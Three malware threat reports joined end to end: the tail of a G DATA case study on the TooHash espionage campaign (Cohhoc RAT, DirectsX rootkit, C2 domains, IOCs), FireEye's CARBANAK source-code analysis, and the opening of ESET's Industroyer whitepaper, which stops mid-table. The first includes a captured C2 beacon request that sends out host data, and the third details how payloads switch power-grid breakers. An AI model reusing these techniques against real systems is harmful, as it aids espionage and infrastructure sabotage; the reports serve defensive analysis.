However, in the second case, the analyst cannot extract and analyze the payload at all.
In this context, the second component alone is rather useless one needs to find the binary which installs the payload.
Furthermore, it is rather complex to create signature detection for an encrypted file, such as the payload discussed.
Persistence Persistence is ensured by the creation of a shortcut file (.lnk) in the Start Menu folder.
This shortcut is labeled as Internet Explorer .lnk.
The blank space just before the file name extension was inserted to trick the user.
The text looks exactly like the original without the additional space.
Furthermore, it is not only the files name which sidetracks, but also the icon used for this link comes in the disguise of Microsofts Internet Explorer.
The screenshot below reveals that the actual file behind this shortcut points to a different program: conime.exe: Features The Cohhoc malware is a Remote Administration Tool and is able to: execute commands or scripts download files upload files collect information about the infected system, for example hostname, username, version of the operating system, installed software find specific documents in order to send them to the command and control servers.
Within the samples, we found two different hardcoded command and control servers and a feature to easily choose an alternative server.
If the file APPDATA\Adobe\ActiveX.dat exists on the system, the malware uses the server listed in this file instead of the hardcoded servers.
The content in the file must use the obfuscation system described in the next chapter.
This approach, using an extra file with server information, proves to be particularly useful for the attackers, as they do not have to transmit new payload to the infected system.
Furthermore, it keeps analysts in the dark about additional CCs in case they only see the .dat file.
This file alone is rather useless.
We have seen the same technique when looking at the differences between the two malware variants before.
Screenshot 3: Shortcut, used to guarantee persistence Copyright  2014 G DATA Software AG   6 G DATA SecurityLabs Case Study Obfuscation Layer The Cohhoc malware uses an obfuscation layer, to disguise the malware and to complicate the analysis.
The obfuscation is used: to encode the command and controls to encode the data sent to the command and controls (information and documents) to decode the data received from the command and controls (the commands).
This algorithm can easily be adapted in C language.
Fellow researchers are welcome to receive the code after contacting samplerequestgdata.de.
To be readable and easily usable, the base64 encoded data (in binary format) is converted into ASCII.
Here is an example to decode a command and control: Network Communication The malware uses HTTP to communicate to the command and control servers.
Here is an example of a request performed by an infected system: GET /CgAAAAAAAABhAAAAYQAAAMjAxNCA1MiRgNzEzIDMzNAxhcHRvcExhYkAAAAAADGFwdG9wTGF iXHBhdWxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABdpbmRvd3NY UEAAADEwHHExHHEwAAAAAAo HTTP/1.1 X-MU-Session-ID: 765592219 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 InfoPath.2 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET4.0C .NET4.0E) Screenshot 4: Algorithm used to encode the data Screenshot 5: Algorithm used to decode the data paulgdata: echo 3d3duIWRvYmVzZXJ2aWNlbi5ldE  base64 -d ./obfuscation d www.adobeservice.net Copyright  2014 G DATA Software AG   7 G DATA SecurityLabs Case Study Host: www.adobeservice.net Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache The relevant data is placed after the GET request.
Here is the content of the request, decoded by using the code mentioned above: Here are the different parts of the data transmitted: Green: the current date and time Pink: the hostname of the infected machine Blue: the domain and the username of the infected machine Yellow: the version of the operation system Red: a hardcoded string which means end of message.
paulgdata:  cat CgAAAAAAAABhAAAAYQAAAMj[] base64 -d  ./common d cat -e M-BXX2014 52d 713 334LaptopLabLaptopLab\paul WindowsXP10\11\10  Copyright  2014 G DATA Software AG   8 G DATA SecurityLabs Case Study Malware Analysis 2: DirectsX, the Rootkit Dropper The dropper is used to install two files and the persistence mechanism.
The two files are DirectsX.sys (the malicious driver) and directsx (without any extension).
The second file is the encoded payload used by the driver.
The persistence mechanism is realized by the creation of a service.
The installed file and the registry modifications are stored in a resource within the dropper.
Here is a screenshot of the registry key created: Binary Signature The dropper and the driver are both signed by a legitimate certificate.
The certificate is owned by Jiangxi you ma chuang da software technology Co., LTD, has been reported stolen and is known to have been used in APT attacks.
Here is a screenshot of the certificate: Screenshot 6: Persistence mechanism Screenshot 7: Use of a stolen certificate Copyright  2014 G DATA Software AG   9 G DATA SecurityLabs Case Study The Driver The main purpose of the driver is to decode the content of the directsx file and to inject the payload into a userland process.
The algorithm used to encode the data in the file is a XOR followed by a SUB: The values of the XOR and the SUB can be different.
The decoding file contains the configuration (command and control) and a library (.dll) to inject in userland.
Here is an example of configuration: Actually, the library is injected into the process of BitDefender (seccenter.exe), ZoneAlarm (svchost.exe) or 360 (360tray.exe), which means that three popular security products are abused.
If the processes are not running on the infected system, the injection is performed into explorer.exe.
To perform the injection, the driver uses the API KeStackAttachProcess().
This function allows it to attach the current thread to an address space of a userland process.
The name of the rootkit is linked to its device name: \\device\DirectsX and its symbolic name: \\DosDevices\DirectsX.
Screenshot 8: Obfuscation algorithm Screenshot 9: Example of configuration Copyright  2014 G DATA Software AG   10 G DATA SecurityLabs Case Study Injected dll The injected dll is signed with the same certificate, too.
It is the remote administration tool itself, injected by the rootkit.
The tool allows the attackers: to execute code on the infected system to download files to get information about the infected system to steal data such as Office documents or media files.
This library is a variant of a remote administration tool also known as Savit.
Command and Control Servers We identified more than 75 different servers.
The complete list of domains is available in the appendix.
The IP resolved by the domains changed frequently.
At the time of writing this report, all known CC servers were mainly located in Hong Kong, with three different host companies: HONGKONG LONG LIVE NETWORK CO LIMITED ASIA PACIFIC SERVER COMPANY (HK) Simcentric Solution (HK) A fourth host company used was located in the US: Ethrn.
Net LLC (USA) The IP ranges used by then: 103.228.64.0/24 111.68.3.0/24 112.121.160.0/18 180.178.32.0/18 216.83.32.0/19 The choice of domain names was made to trick the users or the security team during their analysis of the web logs collected.
Have a look at two examples used during the TooHash campaign: .cnnic-micro.com CNNIC is the acronym for China National Network Information Center.
It is the administrative agency for the Internet domain administration in mainland China.
The domain above is, of course, not owned by CNNIC.
.adobeservice.net the domain seems to be related to Adobe Systems Incorporated, the popular software company.
But, unfortunately, the domain is not owned by Adobe either.
.intarnetservice.com the domain seems to be a legitimate intranet network, but note the typo in the domain name.
.webmailerservices.com .proxydomain.org .privnsb.com Copyright  2014 G DATA Software AG   11 G DATA SecurityLabs Case Study For each domain, the attackers add a subdomain, the subdomain is generally assumed to be the name (or the acronym) of the targeted entities.
Here is an example: nspo.intarnetservices.com.
This could, in the context of the Greater China area, stand for the National Space Organization located in Taiwan.
The attackers control infected machines with the help of web servers installed on the CCs, they do not need to have remote access.
Here is the authentication page of the administration panel and aswe can see, the panel is partly written in Simplified Chinese: Attribution We did not clearly identify the people behind this campaign.
The use of the stolen certificate could point the Shiqiang group, but nothing can be proven.
Anyway, in our case, the attackers clearly targeted private business and governmental organizations as well.
Either the group decided to target governmental entities as well or the stolen certificate is used by several groups.
In any case, the attackers are well organized and use a huge and complex infrastructure to manage the infected systems.
Furthermore, they use two different malware types in order to always have access to the targeted organizations even if one malware is detected.
The second malware becomes a spare wheel.
We assume that the people behind the group are professionals.
Conclusion This campaign showed us once more, that people do not hesitate to use sophisticated and deceptive methods to steal data from companies or governmental organizations.
The files submitted to us seem to have targeted companies in the Greater China area but this technology can easily be used against organizations in other countries and regions across the globe.
Due to the increasing value of nowadays trade secrets and political secrets, we believe that the use of this kind of sponsored campaign is very likely to increase in the future.
Companies and other entities as well need to increase their security measures and to educate the users about the risks they might encounter while working with a computer  ranging from social engineering to malware attacks, etc.
The exploits used during this campaign are detected by G DATAs exploit protection system and the files involved are detected by our antivirus engines.
In case you would like to receive further technical information or would like to contribute any information to this case, please feel free to contact us by using the following email address: toohash.securitybloggdata.de Screenshot 10: Authentication on the administration panel Copyright  2014 G DATA Software AG   12 G DATA SecurityLabs Case Study Appendix: IOC Hashes Documents (and the original name): 8d263d5dae035e3d97047171e1cbf841 (102103.xls) 7251073c67db6421049ee2baf4f31b62 (.doc) 2ec306ef507402037e9c1eeb81276152 (.xls) 6b83319cf336179f2105999fe586242c (Wo.doc) Cohhoc samples: 0c0a3784c3530e820f57da076ea1fc8b b45caf646f94ace23cfa367c5d202944 d4691e06bca3a32c9283d2787b0e40b3 bf4e5e6bef4acc33aea06f770407477e caf3e9500934f89ae4ddf3c6b093af23 f87e765e583e1ead4e0dd56430c469fd 0ad60b49fc47581d19ca2f4e2fc6a6bb 12ee78564ebcb5e203d2991d5ac21ace 1ed0286b4967d9590900faadab8a4926 205e00d44ec0ff5f5c737fa4553e387a 272f23dce6d07f1be9bf2669b99e1530 2e1a5d92343fce92136592f208ca7160 2e4c52e2f424a233f0d5cfa143b4778f 3415e9e50be4de0903d607a2514b23e5 367ad9dd9e263a55d2820b88910b336a 39c5f3f134520bfb70a770de61185d49 3bd5de1f1cd29171709358920d311018 4afda3513ef0f5563f1e77f01dbaed7c 6b5e9eb8eccfd4336ff8910f646dd199 74697ae5fa114222d8d7f8442e57305d a3355ad88ba0802be7e4db0a68394718 a7a40f633e3edc3e36e1dd27c57374b1 b9ea262ac271a72a5310bd0d0561b007 bf4fc457359c6396a360202eee2cc29f e0ee55a01de565ee145ed769ca3deddd f035bce5e0a7e570743c128927a026e1 fd11d2f0f1d388404de4bb8d872ac897 DirectsX samples: 22b955536f27b397f68f22172f8496c2 ecc8245568b5dc1d74d0be6073eafa2d 2857455281e50a80593708e63d68c48f 5ebd4452848879202414a46a09cd2eab ed416eda209e91079a829cc97d57e287 d4e2aadbc0ac414ac5a778da67251c02 Copyright  2014 G DATA Software AG   13 G DATA SecurityLabs Case Study Cohhoc File names USERPROFILE\Start Menu\Programs\Startup\Internet Explorer .lnk APPDATA\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Internet Explorer .lnk APPDATA\Adobe\ActiveX.dat APPDATA\Adobe\ActiveX.bat APPDATA\Microsoft\conime.exe APPDATA\Microsoft\conime.exe.en TEMP\svchost.exe TEMP\war.exe TEMP\Wo.doc DirectsX - File names SystemRoot\System\directsx.sys CommonProgramFiles\System\directsx DirectsX - Device \\Device\DirectsX DirectsX - Symlink \\DosDevices\DirectsX DNS .cnnic-micro.com .proxydomain.org .dyndns-office.com .kmdns.net .privnsb.com .adobeservice.net .webmailerservices.com .intarnetservice.com IPs In case you wish to have information about the IPs involved, please get in touch with us via toohash.securitybloggdata.de Copyright  2014 G DATA Software AG   14 CONTENTS Executive Summary The Malware used Information Stealing Campaign Analysis Targets Spear Phishing Campaign The Exploit used Tracking System Malware Analysis 1: Cohhoc, the RAT Components Variants Persistence Features Obfuscation Layer Network Communication Malware Analysis 2: DirectsX, the Rootkit Dropper Binary Signature The Driver Injected dll Command and Control Servers Attribution Conclusion Appendix: IOC Hashes Cohhoc File names DirectsX - File names DirectsX - Device DirectsX - Symlink DNS IPs
CARBANAK Week Part One: A Rare Occurrence fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html It is very unusual for FLARE to analyze a prolifically-used, privately-developed backdoor only to later have the source code and operator tools fall into our laps.
Yet this is the extraordinary circumstance that sets the stage for CARBANAK Week, a four-part blog series that commences with this post.
CARBANAK is one of the most full-featured backdoors around.
It was used to perpetrate millions of dollars in financial crimes, largely by the group we track as FIN7.
In 2017, Tom Bennett and Barry Vengerik published Behind the CARBANAK Backdoor, which was the product of a deep and broad analysis of CARBANAK samples and FIN7 activity across several years.
On the heels of that publication, our colleague Nick Carr uncovered a pair of RAR archives containing CARBANAK source code, builders, and other tools (both available in VirusTotal: kb3r1p and apwmie).
FLARE malware analysis requests are typically limited to a few dozen files at most.
But the CARBANAK source code was 20MB comprising 755 files, with 39 binaries and 100,000 lines of code.
Our goal was to find threat intelligence we missed in our previous analyses.
How does an analyst respond to a request with such breadth and open-ended scope?
And what did we find?
My friend Tom Bennett and I spoke about this briefly in our 2018 FireEye Cyber Defense Summit talk, Hello, Carbanak In this blog series, we will expound at length and share a written retrospective on the inferences drawn in our previous public analysis based on binary code reverse engineering.
In this first part, Ill discuss Russian language concerns, translated graphical user interfaces of CARBANAK tools, and anti-analysis tactics as seen 1/14 https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html https://feye.io/fin7 https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html https://www.virustotal.com//file/783b2eefdb90eb78cfda475073422ee86476aca65d67ff2c9cf6a6f9067ba5fa/detection https://www.virustotal.com//file/4116ec1eb75cf336a3fdde253c28f712668d0a325a74c41445c7fa87c4e9b7a5/detection https://www.fireeye.com/content/fireeye-summit/en_US/learn/tracks.htmltechnical-4 from a source code perspective.
We will also explain an interesting twist where analyzing the source code surprisingly proved to be just as difficult as analyzing the binary, if not more.
Theres a lot here buckle up File Encoding and Language Considerations The objective of this analysis was to discover threat intelligence gaps and better protect our customers.
To begin, I wanted to assemble a cross-reference of source code files and concepts of specific interest.
Reading the source code entailed two steps: displaying the files in the correct encoding, and learning enough Russian to be dangerous.
Figure 1 shows CARBANAK source code in a text editor that is unaware of the correct encoding.
Figure 1: File without proper decoding Two good file encoding guesses are UTF-8 and code page 1251 (Cyrillic).
The files were mostly code page 1251 as shown in Figure 2.
2/14 Figure 2: Code Page 1251 (Cyrillic) source code Figure 2 is a C header file defining error values involved in backdoor command execution.
Most identifiers were in English, but some were not particularly descriptive.
Ergo, the second and more difficult step was learning some Russian to benefit from the context offered by the source code comments.
FLARE has fluent Russian speakers, but I took it upon myself to minimize my use of other analysts time.
To this end, I wrote a script to tear through files and create a prioritized vocabulary list.
The script, which is available in the FireEye vocab_scraper GitHub repository, walks source directories finding all character sequences outside the printable lower ASCII range: decimal values 32 (the space character) through 126 (the tilde character ) inclusive.
The script adds each word to a Python defaultdict_ and increments its count.
Finally, the script orders this dictionary by frequency of occurrence and dumps it to a file.
The result was a 3,400 word vocabulary list, partially shown in Figure 3.
3/14 https://github.com/fireeye/vocab_scraper Figure 3: Top 19 Cyrillic character sequences from the CARBANAK source code I spent several hours on Russian language learning websites to study the pronunciation of Cyrillic characters and Russian words.
Then, I looked up the top 600 words and created a small dictionary.
I added Russian language input to an analysis VM and used Microsofts on-screen keyboard (osk.exe) to navigate the Cyrillic keyboard layout and look up definitions.
One helpful effect of learning to pronounce Cyrillic characters was my newfound recognition of English loan words (words that are borrowed from English and transliterated to Cyrillic).
My small vocabulary allowed me to read many comments without looking anything up.
Table 1 shows a short sampling of some of the English loan words I encountered.
Cyrillic English Phonetic English Occurrences Rank f ah y L file 224 5 s e r v e r server 145 13 a d r e s address 52 134 k o m a n d command 110 27 b o t a bot 130 32 4/14 p l ah g ee n plugin 116 39 s e r v ee s service 70 46 p r o ts e s s process 130ish 63 Table 1: Sampling of English loan words in the CARBANAK source code Aside from source code comments, understanding how to read and type in Cyrillic came in handy for translating the CARBANAK graphical user interfaces I found in the source code dump.
Figure 4 shows a Command and Control (C2) user interface for CARBANAK that I translated.
Figure 4: Translated C2 graphical user interface These user interfaces included video management and playback applications as shown in Figure 5 and Figure 6 respectively.
Tom will share some interesting work he did with these in a subsequent part of this blog series.
5/14 Figure 5: Translated video management application user interface Figure 6: Translated video playback application user interface 6/14 Figure 7 shows the backdoor builder that was contained within the RAR archive of operator tools.
Figure 7: Translated backdoor builder application user interface The operator RAR archive also contained an operators manual explaining the semantics of all the backdoor commands.
Figure 8 shows the first few commands in this manual, both in Russian and English (translated).
7/14 Figure 8: Operator manual (left: original Russian right: translated to English) Down the Rabbit Hole: When Having Source Code Does Not Help In simpler backdoors, a single function evaluates the command ID received from the C2 server and dispatches control to the correct function to carry out the command.
For example, a backdoor might ask its C2 server for a command and receive a response bearing the command ID 0x67.
The dispatch function in the backdoor will check the command ID against several different values, including 0x67, which as an example might call a function to shovel a reverse shell to the C2 server.
Figure 9 shows a control flow graph of such a function as viewed in IDA Pro.
Each block of code checks against a command ID and either passes control to the appropriate command handling code, or moves on to check for the next command ID.
8/14 Figure 9: A control flow graph of a simple command handling function In this regard, CARBANAK is an entirely different beast.
It utilizes a Windows mechanism called named pipes as a means of communication and coordination across all the threads, processes, and plugins under the backdoors control.
When the CARBANAK tasking component receives a command, it forwards the command over a named pipe where it travels through several different functions that process the message, possibly writing it to one or more additional named pipes, until it arrives at its destination where the specified command is finally handled.
Command handlers may even specify their own named pipe to request more data from the C2 server.
When the C2 server returns the data, CARBANAK writes the result to this auxiliary named pipe and a callback function is triggered to handle the response data asynchronously.
CARBANAKs named pipe-based tasking component is flexible enough to control both inherent command handlers and plugins.
It also allows for 9/14 https://docs.microsoft.com/en-us/windows/desktop/ipc/named-pipes the possibility of a local client to dispatch commands to CARBANAK without the use of a network.
In fact, not only did we write such a client to aid in analysis and testing, but such a client, named botcmd.exe, was also present in the source dump.
Toms Perspective Analyzing this command-handling mechanism within CARBANAK from a binary perspective was certainly challenging.
It required maintaining tabs for many different views into the disassembly, and a sort of textual map of command ids and named pipe names to describe the journey of an inbound command through the various pipes and functions before arriving at its destination.
Figure 10 shows the control flow graphs for seven of the named pipe message handling functions.
While it was difficult to analyze this from a binary reverse engineering perspective, having compiled code combined with the features that a good disassembler such as IDA Pro provides made it less harrowing than Mikes experience.
The binary perspective saved me from having to search across several source files and deal with ambiguous function names.
The disassembler features allowed me to easily follow cross- references for functions and global variables and to open multiple, related views into the code.
Figure 10: Control flow graphs for the named pipe message handling functions Mikes Perspective Having source code sounds like cheat-mode for malware analysis.
Indeed, source code contains much information that is lost through the compilation and linking process.
Even so, CARBANAKs tasking component (for handling commands sent by the C2 server) serves as a counter-example.
Depending on the C2 protocol used and the command being processed, control flow may take divergent paths through different functions only to converge again 10/14 later and accomplish the same command.
Analysis required bouncing around between almost 20 functions in 5 files, often backtracking to recover information about function pointers and parameters that were passed in from as many as 18 layers back.
Analysis also entailed resolving matters of C class inheritance, scope ambiguity, overloaded functions, and control flow termination upon named pipe usage.
The overall effect was that this was difficult to analyze, even in source code.
I only embarked on this top-to-bottom journey once, to search for any surprises.
The effort gave me an appreciation for the baroque machinery the authors constructed either for the sake of obfuscation or flexibility.
I felt like this was done at least in part to obscure relationships and hinder timely analysis.
Anti-Analysis Mechanisms in Source Code CARBANAKs executable code is filled with logic that pushes hexadecimal numbers to the same function, followed by an indirect call against the returned value.
This is easily recognizable as obfuscated function import resolution, wherein CARBANAK uses a simple string hash known as PJW (named after its author, P.J.
Weinberger) to locate Windows API functions without disclosing their names.
A Python implementation of the PJW hash is shown in Figure 11 for reference.
def pjw_hash(s): ctr  0 for i in range(len(s)): ctr  0xffffffff  ((ctr  4)  ord(s[i])) if ctr  0xf0000000: ctr  (((ctr  0xf0000000)  24)  ctr)  0x0fffffff return ctr Figure 11: PJW hash This is used several hundred times in CARBANAK samples and impedes understanding of the malwares functionality.
Fortunately, reversers can use the flare-ida scripts to annotate the obfuscated imports, as shown in Figure 12.
11/14 https://www.fireeye.com/blog/threat-research/2012/11/precalculated-string-hashes-reverse-engineering-shellcode.html Figure 12: Obfuscated import resolution annotated with FLAREs shellcode hash search The CARBANAK authors achieved this obfuscated import resolution throughout their backdoor with relative ease using C preprocessor macros and a pre-compilation source code scanning step to calculate function hashes.
Figure 13 shows the definition of the relevant API macro and associated machinery.
12/14 Figure 13: API macro for import resolution The API macro allows the author to type API(SHLWAPI, PathFindFileNameA)() and have it replaced with GetApiAddrFunc(SHLWAPI, hashPathFindFileNameA)().
SHLWAPI is a symbolic macro defined to be the constant 3, and hashPathFindFileNameA is the string hash value 0xE3685D1 as observed in the disassembly.
But how was the hash defined?
The CARBANAK source code has a utility (unimaginatively named tool) that scans source code for invocations of the API macro to build a header file defining string hashes for all the Windows API function names encountered in the entire codebase.
Figure 14 shows the source code for this utility along with its output file, api_funcs_hash.h.
Figure 14: Source code and output from string hash utility When I reverse engineer obfuscated malware, I cant help but try to theorize about how authors implement their obfuscations.
The CARBANAK source code gives another data point into how malware authors wield the powerful C preprocessor along with custom code scanning and code generation tools to obfuscate without imposing an undue burden on developers.
This might provide future perspective in terms of what to expect from malware authors in the future and may help identify units of potential code reuse in future projects as well as rate their significance.
It would be trivial to apply this to new projects, but with the source code being on VirusTotal, this level of code sharing may not represent shared authorship.
Also, the source code is accessibly instructive in why malware would push an integer as well as a hash to resolve functions: because the integer is an index into an array of module handles that are opened in advance and associated with these pre-defined integers.
13/14 Conclusion The CARBANAK source code is illustrative of how these malware authors addressed some of the practical concerns of obfuscation.
Both the tasking code and the Windows API resolution system represent significant investments in throwing malware analysts off the scent of this backdoor.
Check out Part Two of this series for a round-up of antivirus evasions, exploits, secrets, key material, authorship artifacts, and network-based indicators.
Part Three and Part Four are available now as well 14/14 https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html CARBANAK Week Part One: A Rare Occurrence File Encoding and Language Considerations Down the Rabbit Hole: When Having Source Code Does Not Help Toms Perspective Mikes Perspective Anti-Analysis Mechanisms in Source Code Conclusion
WIN32/INDUSTROYER A new threat for industrial control systems Anton Cherepanov, ESET Version 2017-06-12 Win32/Industroyer 1 Contents Win32/Industroyer: a new threat for industrial control systems              2 Main backdoor                                                                         3 Additional backdoor                                                                  4 Launcher component                                                                 5 101 payload component                                                              6 104 payload component                                                             7 61850 payload component                                                         10 OPC DA payload component                                                       12 Data wiper component                                                             13 Additional tools: port scanner tool                                                 14 Additional tools: DoS tool                                                           15 Conclusion                                                                             15 Indicators of Compromise (IoC)                                                   15 Win32/Industroyer 2 Win32/Industroyer: a new threat for industrial control systems Win32/Industroyer is a sophisticated piece of malware designed to disrupt the working processes of industrial control systems (ICS), specifically industrial control systems used in electrical substations Those behind the Win32/Industroyer malware have a deep knowledge and understanding of industrial control systems and, specifically, the industrial protocols used in electric power systems  Moreover, it seems very unlikely anyone could write and test such malware without access to the specialized equipment used in the specific, targeted industrial environment Support for four different industrial control protocols, specified in the standards listed below, has been implemented by the malware authors: IEC 60870-5-101 (aka IEC 101) IEC 60870-5-104 (aka IEC 104) IEC 61850 OLE for Process Control Data Access (OPC DA) In addition to all that, the malware authors also wrote a tool that implements a denial-of-service (DoS) attack against a particular family of protection relays, specifically the Siemens SIPROTEC range All this considered, the Win32/Industroyer malware authors show an intensive focus that suggests they are highly specialized in industrial control systems The capabilities of this malware are significant  When compared to the toolset used by threat actors in the 2015 attacks against the Ukrainian power grid which culminated in a black out on December 23, 2015 (BlackEnergy, KillDisk, and other components, including legitimate remote access software) the gang behind Industroyer are more advanced, since they went to great lengths to create malware capable of directly controlling switches and circuit breakers  We have seen indications that this malware could have been the tool used by attackers to cause the power outage in Ukraine in December 2016, although at the time of writing, it is not confirmed, and the investigation is still ongoing  The infection vector remains unknown The malware contains multiple modules, as analyzed and described in the next sections of this whitepaper  However, before diving into those details, the following simplified schematic shows the connections between the components of the malware Figure 1  Simplified schematic of Win32/Industroyer components While some components (e g  Data wiper) are similar in concept to the 2015 BlackEnergy attacks against power grid companies in Ukraine, we dont see any link between those attacks and the code in this malware http://w3.siemens.com/smartgrid/global/en/products-systems-solutions/protection/pages/overview.aspx https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/ https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/ Win32/Industroyer 3 Main backdoor We refer to the core component of Industroyer as the main backdoor  The main backdoor is used by the attackers behind Industroyer to control all other components of the malware As backdoors go, this component is pretty straightforward, connecting to its remote CC server using HTTPS and receiving commands from the attackers  All analyzed samples are hardcoded to use the same proxy address, located in the local network  Thus, the backdoor is clearly designed to work only in one specific organization  It is also worth mentioning that most of the CC servers used by this backdoor are running Tor software Perhaps the most interesting feature of this backdoor is that attackers can define a specific hour of the day when the backdoor will be active For example, the attackers can modify the backdoor in this way so it will communicate with its CC server only outside working hours  This can make detection based only on network traffic examination harder  However, all the samples analyzed so far are set to work 24 hours round the clock Figure 2  The decompiled main backdoor code has a check for time-of-day Once connected to its remote CC server, the main backdoor component sends the following data in a POST-request: the globally unique identifier (GUID) string for the current hardware profile retrieved via GetCurrentHwProfile the version of the malware: 1 1e the hardcoded ID of the sample the result of any previously-received command The hardcoded ID is used by the attacker as an identifier for the infected machine  Across all analyzed samples we found the following hardcoded ID values: DEF DEF-C DEF-WS DEF-EP DC-2-TEMP DC-2 CES-McA-TEMP CES SRV_WSUS SRV_DC-2 SCE-WSUS01 The main backdoor component supports the following commands: Command ID Purpose 0 Execute a process 1 Execute a process under a specific user account Credentials for the account are supplied by the attacker 2 Download a file from CC server 3 Copy a file Win32/Industroyer 4 Command ID Purpose 4 Execute a shell command 5 Execute a shell command under a specific user account  Credentials for the account are supplied by the attacker 6 Quit 7 Stop a service 8 Stop a service under a specific user account Credentials for the account are supplied by theattacker 9 Start a service under a specific user account Credentials for the account are supplied by theattacker 10 Replace Image path registry value for a service Once the attackers obtain administrator privileges, they can upgrade the installed backdoor to a more privileged version that is executed as a Windows service program  To do this they pick an existing, non-critical Windows service and replace its ImagePath registry value with the path of the new backdoors binary The functionality of the main backdoor that works as a Windows service is the same as just described  However, there are two small differences: first the backdoors version is 1 1s, instead of 1 1e, and second, there is code obfuscation  The code of this version of the backdoor is mixed with junk assembly instructions Figure 3  The obfuscated assembly code of the main backdoor that works as a Windows service Additional backdoor The additional backdoor provides an alternative persistence mechanism that allows the attackers to regain access to a targeted network in case the main backdoor is detected and/or disabled This backdoor is a trojanized version of the Windows Notepad application This is a fully functional version of the application, but the malware authors have inserted malicious code that is executed each time the application is launched  Once the attackers gain administrator privileges, they are able to replace the legitimate Notepad manually The inserted malicious code is heavily obfuscated, but once the code is decrypted it connects to a remote CC server, which is different to the one linked in the main backdoor, and downloads a payload  This is in the form https://msdn.microsoft.com/en-us/library/windows/desktop/ms685967(vvs.85).aspx Win32/Industroyer 5 of shellcode that is loaded directly into memory and executed  In addition, the inserted code decrypts the original Windows Notepad code, which is stored at the end of the file, and then passes execution to it  Thus, the Notepad application works as expected Figure 4  Comparison between original Notepad binary code (at the left) and backdoored binary code Launcher component This component is a separate executable responsible for launching the payloads and the Data wiper component The Launcher component contains a specific time and date  Analyzed samples contained two dates, 17th December 2016 and 20th December 2016 Once one of these dates is reached the component creates two threads The first thread makes attempts to load a payload DLL, while the second thread waits one or two hours (it depends on the Launcher component version) and then attempts to load the Data wiper component  The priority for both threads is set to THREAD_PRIORITY_HIGHEST, which means that these two threads receive a higher than normal share of CPU resources from the operating system The name of the payload DLL is supplied by the attackers via a command line parameter supplied in one of the main backdoors execute a shell command commands  The Data wiper component is always named haslo.dat  The expected command lines are of the form: LAUNCHER.exeWORKING_DIRECTORYPAYLOAD.dll CONFIGURATION.ini Each argument on the command line represents the following: LAUNCHER.exe is the filename of the Launcher component WORKING_DIRECTORY is the directory where the payload DLL and configuration is stored PAYLOAD.dll is the filename of the payload DLL CONFIGURATION.ini is the file that stores configuration data for the specified payload  The path to this file is supplied to the payload DLL by the Launcher component The payload and Data wiper components are standard Windows DLL files In order to be loaded by the Launcher component they must export a function named Crash as seen in Figure 5 Win32/Industroyer 6 Figure 5  Example payload DLL that has internal name Crash101.dll and Crash export function 101 payload component This payload DLL has the filename 101.dll and is named after IEC 101 (aka IEC 60870-5-101), an international standard that describes a protocol for monitoring and controlling electric power systems  The protocol is used for communication between industrial control systems and Remote Terminal Units (RTUs)  The actual communication is transmitted through a serial connection The 101 payload component partly implements the protocol described in the IEC 101 standard and is able to communicate with an RTU or any other device with support for that protocol Once executed, the 101 payload component parses the configuration stored in its INI file  The configuration may contain several entries: process name, Windows device names (usually COM ports), the number of Information Object Address (IOA) ranges, and the beginning and ending IOA values for the specified number of IOA ranges  IOA is a number that identifies a particular data element in the device  Figure 6 illustrates a 101 payload configuration file with two defined IOA ranges, 10-15 and 20-25 Figure 6  An example of a 101 payload DLL configuration The name of the process specified in the configuration belongs to an application the attackers suspect is running on the victim machine  It should be the application the victim machine uses to communicate through serial connection with the RTU  The 101 payload attempts to terminate the specified process and starts to communicate with the specified device, using the CreateFile, WriteFile and ReadFile Windows API functions  The first COM port from the configuration file is used for the actual communication and the two other COM ports are just opened to prevent other processes accessing them  Thus, the 101 payload component is able to take over and maintain control of the RTU device This component iterates through all IOAs in the defined IOA ranges For each such IOA it constructs two select and execute packets, one with a single command (C_SC_NA_1) and one with a double command (C_DC_NA_1) and sends these to the RTU device  The main goal of the component is to change the On/Off state of single command type IOA https://en.wikipedia.org/wiki/IEC_60870-5IEC_60870-5-101 Win32/Industroyer 7 and double command type IOA  Specifically, the 101 payload has three stages: in the first stage this component attempts to switch IOAs to their Off state, in the second stage it attempts to invert IOA states to On, and in the final stage the component switches IOA states to Off again Figure 7   An example of a 101 payload packet, after being dissected in Kaitai Struct WebIDE 104 payload component This payload DLL has the filename 104 dll and is named after IEC 104 (aka IEC 60870-5-104), an international standard  The IEC 104 protocol extends IEC 101, so the protocol can be transmitted over a TCP/IP network Due to its highly configurable nature, this payload can be customized by the attackers for different infrastructures  Figure 8 shows what a configuration file may look like Figure 8  An example of 104 payload DLL configuration Once executed, the 104 payload DLL attempts to read its configuration file As described above, the path for the configuration file is supplied by the Launcher component The configuration contains a STATION section followed by properties that configure how the 104 payload should work  The configuration may contain multiple STATION entries https://en.wikipedia.org/wiki/IEC_60870-5IEC_60870-5-104 Win32/Industroyer 8 Our analysis of this component reveals the following possible configuration properties: Property Expected value Purpose target_ip IP address The IP address that will be used for the communication using IEC 104 protocol standard target_port Port number Self-explanatory uselog 1 or 0 Enables or disables logging to a file logfile Filename Specifies the filename for the log, if enabled stop_comm_ service 1 or 0 Enables or disables termination of the process stop_comm_ service_name Process name Specifies the process name that will be terminated timeout Timeout in milliseconds Specifies timeout between send and recv calls  Default value: 15000 socket_timeout Timeout in milliseconds Specify the receiving timeout Default value:  15000 silence 1 or 0 Enables or disables console output asdu Integer Specifies  ASDU (Application Service Data Unit) address also known as sector first_action on or off Specifies the Switch value in ASDU packet for first iteration change 1 or 0 Specifies that the Switch value 